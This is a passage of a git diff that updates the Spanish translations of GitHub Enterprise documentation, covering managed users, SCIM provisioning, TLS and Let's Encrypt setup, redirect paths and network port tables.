+* Los {% data variables.product.prodname_managed_users_caps %} no pueden instalar {% data variables.product.prodname_github_apps %} en sus cuentas de usuario.
+* Otros usuarios de {% data variables.product.prodname_dotcom %} no pueden ver, mencionar o invitar a {% data variables.product.prodname_managed_user %} para colaborar.
+* Los {% data variables.product.prodname_managed_users_caps %} solo pueden ser propietarios de repositorios privados y los {% data variables.product.prodname_managed_users %} solo pueden invitar a otros miembros de la empresa para que colaboren con sus propios repositorios.
+* Solo se pueden crear repositorios internos y privados en las organizaciones que pertenezcan a una {% data variables.product.prodname_emu_enterprise %}, dependiendo de los ajustes de visibilidad del repositorio o empresa.
 
-## About enterprises with managed users
+## Acerca de las empresas con usuarios administrados
 
-To use {% data variables.product.prodname_emus %}, you need a separate type of enterprise account with {% data variables.product.prodname_emus %} enabled. To try out {% data variables.product.prodname_emus %} or to discuss options for migrating from your existing enterprise, please contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+Para utilizar los {% data variables.product.prodname_emus %}, necesitas un tipo separado de cuenta empresarial con {% data variables.product.prodname_emus %} habilitados. Para probar {% data variables.product.prodname_emus %} o para debatir sobre las opciones para migrarte desde tu empresa existente, por favor, contacta al [Equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
 
-Your contact on the GitHub Sales team will work with you to create your new {% data variables.product.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
+Tu contacto en el equipo de ventas de GitHub trabajará contigo para crear tu {% data variables.product.prodname_emu_enterprise %} nueva. Necesitarás proporcionar la dirección de correo electrónico del usuario que configurará tu empresa y un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros. {% data reusables.enterprise-accounts.emu-shortcode %} Para obtener más información, consulta la sección "[Nombres de usuario e información de perfil](#usernames-and-profile-information)".
 
-After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled.
+Después de crear tu empresa, recibirás un mensaje de correo electrónico de {% data variables.product.prodname_dotcom %}, el cual te invitará a elegir una contraseña para tu usuario de configuración de la empresa, quien será el primer propietario de esta. Use an incognito or private browsing window when setting the password. El usuario de configuración solo se utiliza para configurar el inicio de sesión único de SAML y la integración de aprovisionamiento de SCIM para la empresa. Ya no tendrá acceso para administrar la cuenta empresarial una vez que se habilite SAML con éxito.
 
-The setup user's username is your enterprise's shortcode suffixed with `_admin`. After you log in to your setup user, you can get started by configuring SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+El nombre de usuario del usuario de configuración es el código corto de tu empresa con el sufijo `_admin`. Después de que inicies sesión en tu usuario de configuración, puedes comenzar a configurar el SSO de SAML para tu empresa. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para los Usuarios Administrados Empresariales](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)".
 
 {% note %}
 
@@ -71,18 +71,18 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`.
 
 {% endnote %}
 
-## Authenticating as a {% data variables.product.prodname_managed_user %}
+## Autenticarse como una {% data variables.product.prodname_managed_user %}
 
-{% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider.
+Los {% data variables.product.prodname_managed_users_caps %} se deben autenticar mediante su proveedor de identidad.
 
-To authenticate, {% data variables.product.prodname_managed_users %} must visit their IdP application portal or **https://github.com/enterprises/ENTERPRISE_NAME**, replacing **ENTERPRISE_NAME** with your enterprise's name.
+Para autenticarse, los {% data variables.product.prodname_managed_users %} deben visitar su portal de la aplicación de IdP o **https://github.com/enterprises/ENTERPRISE_NAME**, reemplazando **ENTERPRISE_NAME** con el nombre de tu empresa.
 
-## Usernames and profile information
+## Nombres de usuario e información de perfil
 
-When your {% data variables.product.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise member's usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@<em>SHORT-CODE</em>_admin**.
+Cuando se cree tu {% data variables.product.prodname_emu_enterprise %}, elegirás un código corto que se utilizará como el sufijo de los nombres de usuario de los miembros de tu empresa. {% data reusables.enterprise-accounts.emu-shortcode %} El usuario de configuración que configure el SSO de SAML tendrá un nombre de usuario en el formato **@<em>SHORT-CODE</em>_admin**.
 
-When you provision a new user from your identity provider, the new {% data variables.product.prodname_managed_user %} will have a {% data variables.product.product_name %} username in the format of **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. When using Azure Active Directory (Azure AD), _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name) provided by Azure AD. When using Okta, _IDP-USERNAME_ is the normalized username attribute provided by Okta.
+Cuando aprovisionas un usuario nuevo desde tu proveedor de identidad, el {% data variables.product.prodname_managed_user %} nuevo tendrá un nombre de usuario de {% data variables.product.product_name %} en el formato de **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. Cuando utilizas Azure Active Directory (Azure AD), el _IDP-USERNAME_ se forma normalizando los caracteres que preceden a `@` en el UPN (Nombre Principal de Usuario) que proporciona Azure AD. Cuando utilizas okta, el _IDP-USERNAME_ es el atributo de nombre de usuario normalizado que proporciona Okta.
 
-The username of the new account provisioned on {% data variables.product.product_name %}, including underscore and short code, must not exceed 39 characters.
+El nombre de usuario de la cuenta nueva que se aprovisionó en {% data variables.product.product_name %}, incluyendo el guion bajo y código corto, no debe exceder los 39 caracteres.
 
-The profile name and email address of a {% data variables.product.prodname_managed_user %} is also provided by the IdP. {% data variables.product.prodname_managed_users_caps %} cannot change their profile name or email address on {% data variables.product.prodname_dotcom %}.
+El nombre de perfil y dirección de correo electrónico de un {% data variables.product.prodname_managed_user %} también lo proporciona el IdP. Los {% data variables.product.prodname_managed_users_caps %} no pueden cambiar su nombre de perfil ni dirección de correo electrónico en {% data variables.product.prodname_dotcom %}.
diff --git a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
index 5c6471c95b..8fa69cab62 100644
--- a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
+++ b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -14,7 +14,7 @@ topics:
 
 ## Acerca del aprovisionamiento para los {% data variables.product.prodname_emus %}
 
-Puedes configurar el aprovisionamiento para que {% data variables.product.prodname_emus %} creen, administren y desactiven cuentas de usuario para tus miembros empresariales. Cuando configuras el aprovisionamiento para {% data variables.product.prodname_emus %}, los usuarios que se asignaron a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu proveedor de identidad se aprovisionan como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} a través de SCIM y los usuarios se agregan a tu empresa.
+You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. Cuando configuras el aprovisionamiento para {% data variables.product.prodname_emus %}, los usuarios que se asignaron a la aplicación de {% data variables.product.prodname_emu_idp_application %} en tu proveedor de identidad se aprovisionan como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} a través de SCIM y los usuarios se agregan a tu empresa.
 
 Cuando actualzias la información asociada con la identidad de un usuario en tu IdP, este actualizará la cuenta de usuario en GitHub.com. Cuando desasignas al usuario desde la aplicación de {% data variables.product.prodname_emu_idp_application %} o cuando desactivas una cuenta de usuario en tu IdP, dicho IdP se comunicará con {% data variables.product.prodname_dotcom %} para invalidar las sesiones de SAML e inhabilitar la cuenta del miembro. La información de la cuenta inhabilitada se mantiene y su nombre de usuario se cambia por un hash del nombre de usuario original con el código corto anexo. Si reasignas a un usuario a la aplicación de {% data variables.product.prodname_emu_idp_application %} o reactivas su cuenta en tu IdP, la cuenta de {% data variables.product.prodname_managed_user %} en {% data variables.product.prodname_dotcom %} se reactivará y el nombre de usuario se restablecerá.
 
diff --git a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
index fad4b83075..6c0349286e 100644
--- a/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
+++ b/translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/index.md
@@ -4,7 +4,7 @@ shortTitle: Administrar usuarios con tu IdP
 product: '{% data reusables.gated-features.emus %}'
 intro: Puedes administrar la identidad y el acceso con tu proveedor de identidad y aprovisionar cuentas que solo puedan contribuir con tu empresa.
 redirect_from:
-  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider
 versions:
   ghec: '*'
 topics:
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
index 8c010e114b..b61937585b 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
@@ -2,7 +2,7 @@
 title: Configurar un nombre del host
 intro: Recomendamos establecer un nombre del host para tu aparato en lugar de utilizar una dirección IP codificada de forma rígida.
 redirect_from:
-  - /enterprise/admin/guides/installation/configuring-hostnames/
+  - /enterprise/admin/guides/installation/configuring-hostnames
   - /enterprise/admin/installation/configuring-a-hostname
   - /enterprise/admin/configuration/configuring-a-hostname
   - /admin/configuration/configuring-a-hostname
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
index dbebc7a071..efbfce0e6d 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
@@ -2,7 +2,7 @@
 title: Configurar un servidor proxy web fuera de banda
 intro: 'Un servidor proxy proporciona otro nivel de seguridad para {% data variables.product.product_location %}.'
 redirect_from:
-  - /enterprise/admin/guides/installation/configuring-a-proxy-server/
+  - /enterprise/admin/guides/installation/configuring-a-proxy-server
   - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server
   - /enterprise/admin/configuration/configuring-an-outbound-web-proxy-server
   - /admin/configuration/configuring-an-outbound-web-proxy-server
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
index 63433314cd..ce88687345 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
@@ -2,7 +2,7 @@
 title: Configurar las reglas de firewall incorporado
 intro: 'Puedes ver las reglas de firewall predeterminadas y personalizar reglas para {% data variables.product.product_location %}.'
 redirect_from:
-  - /enterprise/admin/guides/installation/configuring-firewall-settings/
+  - /enterprise/admin/guides/installation/configuring-firewall-settings
   - /enterprise/admin/installation/configuring-built-in-firewall-rules
   - /enterprise/admin/configuration/configuring-built-in-firewall-rules
   - /admin/configuration/configuring-built-in-firewall-rules
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
index cd9b0dd0ca..f106d52c4b 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
@@ -2,7 +2,7 @@
 title: Configurar servidores de nombres DNS
 intro: '{% data variables.product.prodname_ghe_server %} utiliza el protocolo de configuración dinámica de host (DHCP) para los ajustes DNS cuando las concesiones de DHCP ofrecen servidores de nombres. Si una concesión del protocolo de configuración dinámica de host (DHCP) no proporciona los servidores de nombres o si debes utilizar ajustes DNS particulares, puedes especificar los servidores de nombres de manera manual.'
 redirect_from:
-  - /enterprise/admin/guides/installation/about-dns-nameservers/
+  - /enterprise/admin/guides/installation/about-dns-nameservers
   - /enterprise/admin/installation/configuring-dns-nameservers
   - /enterprise/admin/configuration/configuring-dns-nameservers
   - /admin/configuration/configuring-dns-nameservers
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md
index 9fcec6ca70..03c6fa7067 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md
@@ -1,9 +1,9 @@
 ---
-title: Configuring TLS
-intro: 'You can configure Transport Layer Security (TLS) on {% data variables.product.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.'
+title: Configurar TLS
+intro: 'Puedes configurar la Seguridad de la capa de transporte (TLS) en {% data variables.product.product_location %} para poder usar un certificado firmado por una entidad de certificación confiable.'
 redirect_from:
-  - /enterprise/admin/articles/ssl-configuration/
-  - /enterprise/admin/guides/installation/about-tls/
+  - /enterprise/admin/articles/ssl-configuration
+  - /enterprise/admin/guides/installation/about-tls
   - /enterprise/admin/installation/configuring-tls
   - /enterprise/admin/configuration/configuring-tls
   - /admin/configuration/configuring-tls
@@ -17,55 +17,53 @@ topics:
   - Networking
   - Security
 ---
-## About Transport Layer Security
 
-TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt.
+## Acerca de la Seguridad de la capa de transporte
 
-The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia.
+El TLS, que reemplazó al SSL, se habilita y configura con un certificado autofirmado cuando se inicia el {% data variables.product.prodname_ghe_server %} por primera vez. Como los certificados autofirmados no son confiables para los navegadores web y los clientes de Git, estos clientes informarán advertencias de certificados hasta que inhabilites TLS o cargues un certificado firmado por una entidad confiable, como Let's Encrypt.
+
+El aparato {% data variables.product.prodname_ghe_server %} enviará encabezados de Seguridad de transporte estricta de HTTP mientras SSL esté habilitado. Inhabilitar TLS hará que los usuarios pierdan acceso al aparato, porque sus navegadores no permitirán que un protocolo se degrade a HTTP. Para obtener más información, consulta "[Seguridad de transporte estricta de HTTP (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" en Wikipedia.
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+Para permitir que los usuarios utilicen FIDO U2F para la autenticación de dos factores, debes habilitar TLS para tu instancia. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)".
 
-## Prerequisites
+## Prerrequisitos
 
-To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority.
+Para utilizar TLS en la producción, debes tener un certificado en un formato de PEM no cifrado firmado por una entidad de certificación confiable.
 
-Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia.
+Tu certificado también deberá tener configurados Nombres alternativos de sujeto para los subdominios detallados en "[Habilitar aislamiento de subdominio](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" y deberá incluir toda la cadena de certificación si lo firmó una entidad de certificación intermedia. Para obtener más información, consulta "[Nombre alternativo de sujeto](http://en.wikipedia.org/wiki/SubjectAltName)" en Wikipedia.
 
-You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
+Puedes generar una solicitud de firma de certificados (CSR) para tu instancia usando el comando `ghe-ssl-generate-csr`. Para obtener más información, consulta "[Utilidades de la línea de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
 
-## Uploading a custom TLS certificate
+## Cargar un certificado TLS personalizado
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-4. Under "TLS Protocol support", select the protocols you want to allow.
-  ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png)
-5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension.
-  ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png)
-6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension.
-  ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png)
+4. En "TLS Protocol support" (Asistencia de protocolo TLS), selecciona los protocolos que quieres permitir. ![Botones de radio con opciones para elegir protocolos TLS](/assets/images/enterprise/management-console/tls-protocol-support.png)
+5. En "Certificate" (Certificado), haz clic en **Choose File** (Elegir archivo) para elegir el certificado TLS o la cadena de certificación (en formato de PEM) que quieras instalar. Este archivo suele tener una extensión *.pem*, *.crt* o *.cer*. ![Botón para encontrar archivo de certificado TLS](/assets/images/enterprise/management-console/install-tls-certificate.png)
+6. Debajo de "Llave descifrada", haz clic en **Elegir archivo** para elegir una llave RSA (en formato PEM) a instalar. Ese archivo suele tener una extensión *.key*. ![Botón para encontrar archivo de clave TLS](/assets/images/enterprise/management-console/install-tls-key.png)
 
   {% warning %}
 
-  **Warning**: Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
+  **Advertencia**: Tu llave debe ser una llave RSA y no debe tener una frase de acceso. Para obtener más información, consulta "[Eliminar la contraseña de tu archivo clave](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
 
   {% endwarning %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-## About Let's Encrypt support
+## Acerca de la asistencia de Let's Encrypt
 
-Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance.
+Let's Encrypt es una entidad de certificación pública que emite certificados TLS gratuitos y automáticos que son confiables para los navegadores que usan el protocolo ACME. De hecho, puedes obtener y renovar los certificados de Let's Encrypt para tu aparato sin la necesidad de realizar ningún mantenimiento manual.
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
-When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.product.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests.
+Cuando habilites la automatización de la gestión de certificado TLS con Let's Encrypt, {% data variables.product.product_location %} se contactará con los servidores de Let's Encrypt para obtener un certificado. Para renovar un certificado, los servidores de Let's Encrypt deben validar el control del nombre de dominio configurado con las solicitudes HTTP entrantes.
 
-You can also use the `ghe-ssl-acme` command line utility on {% data variables.product.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
+También puedes usar la utilidad de la línea de comando `ghe-ssl-acme` en {% data variables.product.product_location %} para generar un certificado de Let's Encrypt de manera automática. Para obtener más información, consulta "[Utilidades de la línea de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
 
-## Configuring TLS using Let's Encrypt
+## Configurar TLS usando Let's Encrypt
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
@@ -73,12 +71,9 @@ You can also use the `ghe-ssl-acme` command line utility on {% data variables.pr
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-5. Select **Enable automation of TLS certificate management using Let's Encrypt**.
-  ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
+5. Selecciona **Enable automation of TLS certificate management using Let's Encrypt** (Habilitar la automatización de la gestión de certificado TLS con Let's Encrypt). ![Casilla de verificación para habilitar Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 {% data reusables.enterprise_management_console.privacy %}
-7. Click **Request TLS certificate**.
-  ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png)
-8. Wait for the "Status" to change from "STARTED" to "DONE".
-   ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
-9. Click **Save configuration**.
+7. Haz clic en **Request TLS certificate** (Solicitar certificado TLS). ![Botón para solicitar certificado TLS](/assets/images/enterprise/management-console/request-tls-button.png)
+8. Espera para que el "Estado" cambie de "INICIADO" a "HECHO". ![Estado de "vamos a cifrar"](/assets/images/enterprise/management-console/lets-encrypt-status.png)
+9. Haz clic en **Save configuration** (Guardar configuración).
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
index 2cc7c60a4e..e1e52a6bbc 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
@@ -2,7 +2,7 @@
 title: Habilitar el aislamiento de subdominio
 intro: 'Puedes configurar el aislamiento de subdominio para separar en forma segura el contenido suministrado por el usuario de las demás partes de tu aparato {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
-  - /enterprise/admin/guides/installation/about-subdomain-isolation/
+  - /enterprise/admin/guides/installation/about-subdomain-isolation
   - /enterprise/admin/installation/enabling-subdomain-isolation
   - /enterprise/admin/configuration/enabling-subdomain-isolation
   - /admin/configuration/enabling-subdomain-isolation
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/index.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/index.md
index d28a383f9d..6faf065d9c 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/index.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/index.md
@@ -1,10 +1,10 @@
 ---
 title: Configurar los ajustes de red
 redirect_from:
-  - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl/
-  - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings/
-  - /enterprise/admin/articles/configuring-dns-ssl-and-subdomain-settings/
-  - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings/
+  - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl
+  - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings
+  - /enterprise/admin/articles/configuring-dns-ssl-and-subdomain-settings
+  - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings
   - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings
   - /enterprise/admin/configuration/configuring-network-settings
 intro: 'Configura {% data variables.product.prodname_ghe_server %} con los servidores de nombres y el nombre del host DNS necesarios para tu red. También puedes configurar un servidor proxy o reglas de firewall. Debes permitir el acceso a determinados puertos con fines administrativos y relacionados con el usuario.'
diff --git a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md
index 4fcd17c1a7..dddba3a203 100644
--- a/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md
+++ b/translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md
@@ -1,14 +1,14 @@
 ---
-title: Network ports
+title: Puertos de red
 redirect_from:
-  - /enterprise/admin/articles/configuring-firewalls/
-  - /enterprise/admin/articles/firewall/
-  - /enterprise/admin/guides/installation/network-configuration/
-  - /enterprise/admin/guides/installation/network-ports-to-open/
+  - /enterprise/admin/articles/configuring-firewalls
+  - /enterprise/admin/articles/firewall
+  - /enterprise/admin/guides/installation/network-configuration
+  - /enterprise/admin/guides/installation/network-ports-to-open
   - /enterprise/admin/installation/network-ports
   - /enterprise/admin/configuration/network-ports
   - /admin/configuration/network-ports
-intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.'
+intro: 'Abre los puertos de red de forma selectiva en base a los servicios de red que necesitas exponer a los administradores, usuarios finales y apoyo de correo electrónico.'
 versions:
   ghes: '*'
 type: reference
@@ -18,36 +18,37 @@ topics:
   - Networking
   - Security
 ---
-## Administrative ports
 
-Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users.
+## Puertos administrativos
 
-| Port | Service | Description |
-|---|---|---|
-| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. |
-| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. |
-| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. |
-| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.|
-| 123/UDP| NTP | Required for time protocol operation. |
-| 161/UDP | SNMP | Required for network monitoring protocol operation. |
+Se requieren algunos puertos administrativos para configurar {% data variables.product.product_location %} y ejecutar determinadas funciones. No se requieren puertos administrativos para el uso de la aplicación básica por parte de los usuarios finales.
 
-## Application ports for end users
+| Port (Puerto) | Servicio | Descripción                                                                                                                                                                                                                                                                       |
+| ------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 8443          | HTTPS    | {% data variables.enterprise.management_console %} segura basada en la web. Requerida para la instalación y la configuración básicas.                                                                                                                                             |
+| 8080          | HTTP     | {% data variables.enterprise.management_console %} basada en la web de texto simple. No se requiere excepto que el SSL esté inhabilitado de forma manual.                                                                                                                         |
+| 122           | SSH      | Acceso shell para {% data variables.product.product_location %}. Se necesita abierto a las conexiones entrantes entre todos los nodos en una configuración de disponibilidad alta. El puerto SSH predeterminado (22) está destinado al tráfico de red de la aplicación SSH y Git. |
+| 1194/UDP      | VPN      | Túnel de red de replicación segura en la configuración de alta disponibilidad. Se requiere abierto a las comunicaciones entre todos los nodos en la configuración.                                                                                                                |
+| 123/UDP       | NTP      | Se requiere para operar el protocolo de tiempo.                                                                                                                                                                                                                                   |
+| 161/UDP       | SNMP     | Se requiere para operar el protocolo de revisión de red.                                                                                                                                                                                                                          |
 
-Application ports provide web application and Git access for end users.
+## Puertos de la aplicación para usuarios finales
 
-| Port | Service | Description |
-|---|---|---|
-| 443 | HTTPS | Access to the web application and Git over HTTPS. |
-| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. |
-| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. |
-| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} |
+Los puertos de la aplicación permiten que los usuarios finales accedan a Git y a las aplicaciones web.
+
+| Port (Puerto) | Servicio | Descripción                                                                                                                                                                                            |
+| ------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| 443           | HTTPS    | Acceso a la aplicación web y a Git por HTTPS.                                                                                                                                                          |
+| 80            | HTTP     | Acceso a la aplicación web. Todas las solicitudes se redireccionan al puerto HTTPS cuando se habilita SSL.                                                                                             |
+| 22            | SSH      | Acceso a Git por SSH. Admite las operaciones clonar, extraer y subir a los repositorios privados y públicos.                                                                                           |
+| 9418          | Git      | El puerto de protocolo Git admite las operaciones clonar y extraer a los repositorios públicos con comunicación de red desencriptada. {% data reusables.enterprise_installation.when-9418-necessary %}
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Email ports
+## Puertos de correo electrónico
 
-Email ports must be accessible directly or via relay for inbound email support for end users.
+Los puertos de correo electrónico deben ser accesibles directamente o por medio de la retransmisión del correo electrónico entrante para los usuarios finales.
 
-| Port | Service | Description |
-|---|---|---|
